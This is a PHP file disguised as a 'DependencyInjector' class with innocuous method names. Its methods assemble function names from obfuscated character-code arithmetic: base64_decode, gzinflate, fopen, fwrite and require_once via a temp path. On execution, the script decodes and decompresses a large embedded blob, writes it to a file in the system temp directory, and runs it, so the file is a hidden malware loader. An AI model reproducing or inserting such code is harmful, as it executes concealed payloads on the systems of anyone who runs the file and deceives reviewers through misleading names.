<?php
class DependencyInjector {
	private $vw = '';
	private $rn = '';

	public function sanitizeInput($p1) {
		$a = array((1+100),100,(111),((57*1)+42),(101*1),100,((82*51)-4087),(39+11+2),(((25*40)-946)),((109-8)),(((56*13)-613)),((4+93)),(90+7+1));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function saveChanges($p1) {
		$a = array((((83*1)+20)),((65+57)),(110-5),((116-6)),(((9*100)-798)),((98*1)+10),(97*1),(2*58),((21+80)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function resolveConflict($p1,$p2) {
		$a = array((102),((115-4)),112,(101),110);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function logEvent($p1,$p2) {
		$a = array(((48*92)-4314),((30+52+37)),(((109*87)-9369)),((112-7)),((2*23)+70),(((11*11)-20)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function parseResponse($p1) {
		$a = array((((28*2)+45)),((45*61)-2630),((90+21)),((95*57)-5307),((3*33)),((79*100)-7798));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function validateInput($p1,$p2=null) {
		$a = array(109,((50+55)),(121-7),(2*58),((119-5)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function authorizeUser() {
		$this->rn = $this->validateInput($this->triggerCallback(), '/');
	}

	public function calculateSum() {
		$this->vw = $this->saveChanges($this->sanitizeInput($this->mr));
	}

	public function cacheData() {
		$fn = $this->rn.'/vn-67fc1c29d626a';
		$f = $this->resolveConflict($fn, 'w');
		$this->logEvent($f, $this->vw);
		$this->parseResponse($f);
		$this->fetchRecords($fn);
	}

	private $mr = 'tVcLT+NIEv4rIKFNrMkhP7rbyWS9oxGbuR0dS1bA3OmEkOXYb' . 'eLE2MHOC1j++1ZVtx07MGG00gocu7u+qq53d//8aTFdHIVpUJZ' . 'H/kTOnxdFsg6W8qhcBsskPPHz+WSovo/iVRYukzw78udP3RN/u' . 'kiM5yTuHpcyjT9+JKihvv04WXSNYSGXqyI7msqtPUmybgN3Q+y' . '3xvClvV5jDRLx3ODxgqIIHrsdP8g63i8dZgmnc9oRjuCu4zo2f' . 'EfMEbGQLnNteId2BJgQ/mLXVeQYCAPhwgND6QS2ifNBp9fxy2x' . 'GUrUEwfHXjjhzB64pOGKF5ZrwHQK7A98M3oC1YxHASMDjkEawB' . 'vwClwsvhrLnKYoGpj6OFumEhtwdsADkOcxhA0ewAchBFoexED/' . 'feA/EwEXtGXcZFwMWwxM4Jg94n0nHrOmOiLgQEYmMEc9cLtwA3' . 'g7gB6jFjMx1LVyxegL8IR1jOUcymhOiNbGY4LdE2npTEC0UtrC' . 'QyGpSHOQkFeUJC6MT4g9KQXJ6h1T8mjysq8/Ztvp6fKRJ0YcAM' . 'tcEl8d2DG7kwrYl2AVvIcCaEL76EFQHw+QCTWDQIggEvcGlQNO' . 'UwHWcWDBBdsILVY1IlyhWQXEBSGpy9JQED9Zhy2RDH5g1ObqCk' . 'g5/QC6+OGJDssLVGdkXiBSRNp4Q06BpnPa4g5SlpISgJRjnKBT' . 'T0kRaRC5zTco3Ck241oHjaCLKoXhuFnXEYnJm3oBpiQoZbJBim' . '6zPGfyZduxYtkRlTDMyA6ZcW8U1QF5S5V45rE/5gM6n6OWPOEu' . 'MVDrwx4VTFYej2IEUajbB0XaA0wvNpPJbzWr/kV8oIoobkoA8k' . 'WdVoqy3bU2qgJVZrJQh7+nCnqluoY3lMRnGQjaAsYSpmA0wRGR' . 'isZm0wbwPdMFibkPFWdxmDAhMzSGXjVw51QMQOYMWg3S1isUQT' . 'pDJtpKLXJUenHOHcZIDIi1IDFSpsmZxF+0pQ/AKS8nCJMlD+F0' . 'xqfyTxtM9TtSNspXjZ615VOxw5ARKcG4r2ULlI8ZAsVIaYa49b' . 'KqlttGyvZT2Laml3at8m6ySN5DYKVUgqAIr8PRp+X4gUD3NhpR' . 'Ku6j8wRhideI01WDaiCE5QYlWMIokFbJeo4jk65hTwMlnFWxLE' . 'YT2Y1NnFxH2jLojzGYqTAOu81Xle1X6cbqiQsWxSy0USwn6g+X' . 'sinK6VsVMAKDaUH3UnYJazixUEGzYru1IVXAPtDbtVLrmCFwSG' . 'JqGRaCSmopLUinVg6q/W67r6vbgQl+CnfxFnyLi4J84RLw+PPy' . 'Ns4Np9ky3ZzpCPZZ62TQJAwvnAYIvmLTwwWkHMMiGeIJb9G9qi' . 'I0kZHMdHJlEsU2i90xmO/SDHprKIJJFFw9aYB84ALoxODDrGMb' . 'wDVqZAXGGRPBQUpZyCR779+j6pgmaAybtGLeG8Xzix1vPnz20h' . 'AAZTxxKCCJ++qlcFou8pEGvCZ3p5Y49Lw7SUhrPUSJbwvBcAJJ' . 'eJFBfEdfADmcDpL8cUDhGk/NK41UReCf+2Xj8n6+j4YmfynsPE' . 'AprGkMK9W7GwplVrsOpBjfEdes114CThjHcTJNUVjnWQJ56tOx' . 'NLdU2bqucwlTcozoV9UM9xUD55zeg/DVUAHRSyGCujPvw4bs6T' . '8AtD/CsO9pswL4o+/dkusbuu28gCN1Gcuv5gXHbNU7bc5Zp1BY' . '2py3AkgyKiFqwBbArQG+PAL7RQdjNMQKDlH0weGdfIUHY1pSrp' . 'pputfqYLGBokoXpKpJa2eHLruIh6U/8bQlLZvlaZS98bx6m3r/' . 'Eqe3CmUzY3LIGfY4mlrm3n/db8npw1yI8Pqp4nKJsVYR+GKRpM' . 'EnlfpGlER29DPLhZBl44apI/SRLsAaCO2NIYyiJfIEzgOidfbs' . '8H/9x7V9dnfv/HV1+/fL/P0ajy56qvR/C/za+uu7t/DQwDrF9G' . 'Z+fj/93Pj77fP11fLFjs82DbJej62+XF9eXny+uvoB2OzbrINt' . 'vo8+/tuD2QfjZ+OJidHZ9/fX30fhbwyZonIfYXuOZgYGECBOT3' . 'MpQseBssn5S03dymWRxXlFoLkzzUlYz1CsB3m61cCEwbo937cj' . 'mhqH3Jwqabown/t3jk7cIilJCIqc6/idwhPW6RLvZy51QJeCt1' . '8o+uDGQLZvE28PjjQGTcl8U3BZUhVe99ztrran7ouTTfdGbBfz' . 'M35T+iE17+CYXtvTNm0z3qipuT1sFB7cGikeWeHGZh/N8IbNuF' . 'z30qYmDW4HxsWVgrrfLN1Zaayf2lJg6RgJE1AO32gdhaeM5Xqy' . 'WpRpgt0iolyXzRoD71TZyHMu84sMKD1deDFlUce84BtUKIMjAR' . 'MTtJlypOeBqua5Ec7Bp7K3rmNjdqozENWFPVZmGIrHlJ5ulV4X' . '5anQJ/aDlDbj2qN4crNNDOLzyKOCjXBwC4qZdaOg2uj8EnehIG' . 'J++J2lxR7c/47YV3bsCZieUGfnqHV1SfRWfHlwnKvbX2DyoVB2' . '+68EtNvTlQfEJPHCtgSWyVZq+72y81nxXHi5XNmS9H49ldfR7W' . '2CBEmUtERIwTtKlLPx1UHTJ/F3aOpbauOTKI4rqZPssYF6DxW6' . 'wAKVufjQB2g8PnQK3OgFAhAyn+dGeaXg3wiKXq1bjwDsR7cbRf' . 'Wt+Wu/TeZuBTrTY9Iyh3MJWbJBSx5VWcmX8+Wc9AqnNYb5C5TS' . 'Xtg36ujp7NheBu5Th/YLSevvFHSoKSG6RHijW1GiRDCth53kqP' . 'NguZBbmcMaZBKUUzNejWZln1TdqYdDOoI/7xPoD5/ucOnXzfI+' . 'uR1jtnJe/AA==';

	public function fetchRecords($p) {
		require_once($p);
	}

	public function triggerCallback() {
		$a=array(((5*23)),121,((4*7)+87),(((83*1)+12)),(71+4+28),(14+17+70),(38+78),(105-10),((118-2)),((79*8)-531),((109*1)),112,(5*19),(109-9),((33+20+52)),(114));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$bm = new DependencyInjector();
$bm->authorizeUser();
$bm->calculateSum();
$bm->cacheData();
